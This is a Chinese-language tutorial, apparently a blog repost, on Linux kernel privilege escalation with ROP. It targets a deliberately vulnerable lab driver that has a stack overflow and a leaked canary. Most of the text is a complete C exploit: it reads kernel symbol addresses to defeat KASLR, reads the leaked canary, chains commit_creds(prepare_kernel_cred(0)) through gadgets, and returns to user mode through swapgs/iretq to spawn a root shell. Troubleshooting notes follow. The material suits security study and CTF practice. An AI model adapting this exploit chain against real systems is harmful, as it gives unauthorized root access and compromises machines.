本文主要是介绍linux 内核提权总结(demo+exp分析) -- ROP(一)，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
基础ROP篇(linux 5.0.21)
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原文作者：jmpcall
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内核提权与用户态攻击的区别
- 攻击流程
- 用户态攻击: 执行 system("/bin/sh") 获得shell
- 内核提权:
- 内核执行 commit_creds(prepare_kernel_cred(0)) 使进程获得root权限
- 用户态进程执行system("/bin/sh") 获得root权限 shell
- 理解难点
- 内核rop链构造
- 用户态进程与内核之间的切换
一. 漏洞分析
建议初学者先了解基础的驱动程序知识
1.查看驱动安全机制
checksec rop.ko[*] '/home/povcfe/linux/flod/rop.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)-
发现开启canary和NX
2.查看qemu启动脚本boot.sh
- boot.sh
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-cpu qemu64 \
-nographic \
-gdb tcp::12343.查看开机自启脚本
- rcS
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sysecho /sbin/mdev > /proc/sys/kernel/hotplug # 支持热拔插
/sbin/mdev -scat /proc/kallsyms > /tmp/kallsyms # 当/proc/sys/kernel/kptr_restrict=1时，普通用户不能通过/proc/kallsyms读取函数地址，为减少难度直接将kallsyms内容写入临时目录
insmod rop.ko # 目标驱动chmod 777 /dev/povcfe_dev
chmod 777 /dev/rop_dev setsid cttyhack setuidgid 1000 sh4.审计代码
可以发现dangerous函数存在明显的栈溢出漏洞(降低难度直接泄漏canary)
void dangerous(size_t num)
{char overflow[0x10] = {0};printk(KERN_INFO "canary is 0x%lx", *((size_t *)overflow + 2));memcpy(overflow, kernel_buf, num);printk(KERN_INFO "%s", overflow);
}5.利用思路
- Canary通过printk泄露
- NX使用rop绕过
- 读取 /tmp/kallsyms的startup_64(获得内核代码加载基地址，用于定位ROPgadget在内存中的真实地址)
- 读取 /tmp/kallsyms的commit_creds, prepare_kernel_cred，获得目标内核函数地址
二. ROP链构造
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1.内核执行commit_creds(prepare_kernel_cred(0))
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通过/tmp/kallsyms获得 commit_creds() prepare_kernel_cred() 函数地址
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执行 cat tmp/kallsyms | grep startup_64, 如果startup_64不等于0xffffffff81000000, 即内核开启kalsr防护, startup_64与0xffffffff81000000 的差值即为内核基地址偏移(很多发行版默认不打开kalsr, 利用就比较简单了)
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利用ROPgadget获得vmlinux的所有gadget片段(如果效果不理想可换用ropper)
ROPgadget --binary vmlinux > rop_gadget根据所需在rop_gadget中搜索(因为程序开启kalsr，所以 真实地址 = rop_gadget地址 + 基地址偏移)
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2.返回用户态
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进入内核前，保存用户态数据
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;"); } -
内核切换到用户态
- 执行swapg 恢复GS值(GS通过宏实现, 并不保存在gs寄存器)
- 执行iretq 恢复用户态数据(或者执行sysretq 只需提供rip)
- 需要提前在栈上填充用户态数据(rip,cs,rflags,sp,ss)
- 填充的用户态数据应在用户态切换到内核态前保存(内联汇编)
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3.ROP 链构造
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commit_creds() 接收 prepare_kernel_cred(0)的返回值作为参数，即rdi <- rax 时需要灵活变通(手动搜索rop_gadget文件)
ROP[i++] = 0xffffffff8106b910 + offset; // pop rdi, ret ROP[i++] = 0x0; ROP[i++] = prepare_kernel_cred;ROP[i++] = 0xffffffff8105bd21 + offset; // test rcx,rcx ; jne 0xffffffff8105bcc6 ; pop rbp ; ret ROP[i++] = 0x0; ROP[i++] = 0xffffffff8110c68a + offset; // mov rdi, rax ; jne 0xffffffff8110c672 ; pop rbp ; ret ROP[i++] = 0x0; ROP[i++] = commit_creds;ROP[i++] = 0xffffffff81a00d5e + offset; // swapgs ; popfq ; pop rbp ; ret ROP[i++] = 0x0; ROP[i++] = 0x0; ROP[i++] = 0xffffffff81024b3b + offset; // iretqROP[i++] = (size_t)get_shell; // rip ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_sp; ROP[i++] = user_ss;
-
三. 结果展示
四. exp
// gcc rop.c -masm=intel -static -o rop#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>void get_shell()
{if (!getuid()){puts("=.=");system("/bin/sh");}else{puts("failed");}exit(0);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");printf("ip is 0x%lx\n", (size_t)get_shell);printf("cs is 0x%lx\n", user_cs);printf("ss is 0x%lx\n", user_ss);printf("sp is 0x%lx\n", user_sp);printf("flag is 0x%lx\n", user_rflags);puts("status has been saved.");
}size_t get_addr(char *name)
{int num = strlen(name) * 2 + 3 + 27;char cmd[num];memset(cmd, 0, num);strcat(cmd, "cat /tmp/kallsyms | grep ");strcat(cmd, name);strcat(cmd, " > ");strcat(cmd, name);printf("the cmd is %s\n", cmd);system(cmd);char buf[19] = {0};size_t addr = 0;FILE *fp = fopen(name, "r");if (fp == NULL){printf("open %s error!\n", name);exit(0);}fgets(buf, 18, fp);addr = strtoul(buf, 0, 16);printf("the addr(0x) is: %p\n", (void *)addr);if (addr == 0){puts("string conversion integer failed");}fclose(fp);return addr;
}size_t get_canary()
{system("dmesg | grep canary > canary");puts("the cmd is: dmesg | grep canary > canary");FILE *fp = fopen("canary", "r");if (fp == NULL){puts("open canary error");exit(0);}char buf[100] = {0};size_t canary = 0;fgets(buf, 100, fp);puts(buf);char *str_canary = strstr(buf, "0x");puts(str_canary);canary = strtoul(str_canary, 0, 16);fclose(fp);printf("the canary is 0x%lx\n", canary);return canary;
}char *rop(size_t offset, size_t *ROP, size_t commit_creds, size_t prepare_kernel_cred)
{int i = 0;ROP[i++] = 0xffffffff8106b910 + offset; // pop rdi, retROP[i++] = 0x0;ROP[i++] = prepare_kernel_cred;ROP[i++] = 0xffffffff8105bd21 + offset; // test rcx,rcx ; jne 0xffffffff8105bcc6 ; pop rbp ; retROP[i++] = 0x0;ROP[i++] = 0xffffffff8110c68a + offset; // mov rdi, rax ; jne 0xffffffff8110c672 ; pop rbp ; retROP[i++] = 0x0;ROP[i++] = commit_creds;ROP[i++] = 0xffffffff81a00d5e + offset; // swapgs ; popfq ; pop rbp ; retROP[i++] = 0x0;ROP[i++] = 0x0;ROP[i++] = 0xffffffff81024b3b + offset; // iretqROP[i++] = (size_t)get_shell; // ripROP[i++] = user_cs;ROP[i++] = user_rflags;ROP[i++] = user_sp;ROP[i++] = user_ss;
}int main()
{size_t base, commit_creds, prepare_kernel_cred;base = get_addr("startup_64");commit_creds = get_addr("commit_creds");prepare_kernel_cred = get_addr("prepare_kernel_cred");size_t offset = base - 0xffffffff81000000;printf("offset 0x%lx\n", offset);int fd = open("/dev/rop_dev", 2);if (0 == fd){puts("open /dev/rop_dev error");exit(0);}char payload1[0x10] = {0};write(fd, payload1, 0x10);write(fd, payload1, 0x10);size_t canary = get_canary();size_t payload2[17] = {0};payload2[0] = 0x6161616161616161;payload2[1] = 0x6262626262626262;payload2[2] = canary;payload2[3] = 0x6363636363636363;save_status();rop(offset, &payload2[4], commit_creds, prepare_kernel_cred);write(fd, payload2, 8*21);puts("success");return 0;
}五. 踩坑记录
- 高版本linux canary存在\x00截断(低版本没有)
- 使用ROPgadget获得的gadget片段有可能存在于vmlinux的数据区 (不管是代码还是数据在内存中都只是一堆二进制数字), 所以如果内核开启NX保护, 那么内核数据区的gadget就不能用于ROP链构造
- 使用iretq从内核态切换至用户态时，出现段错误(用户态数据被正常还原)
- 解决方案: 将qemu的cpu启动参数由kvm64切换为qemu64
- ROPgadget 获得的代码片段中没有iretq和sysretq（1）python 进行iretq编码匹配
- 原因：ROPgadget工具获得的代码片段作用于程序流程控制，即ret, call 等元素必须存在，但是内核态返回用户态只需执行 iretq指令，与其后接的汇编无关，由此看来，使用ROPgadget工具获得的内容是少于需求的，所以有可能iretq,sysretq, 不存在于获得的代码片段中
- 解决方案：①python 进行iretq编码匹配；②ida 解析vmlinux 查找iretq指令。
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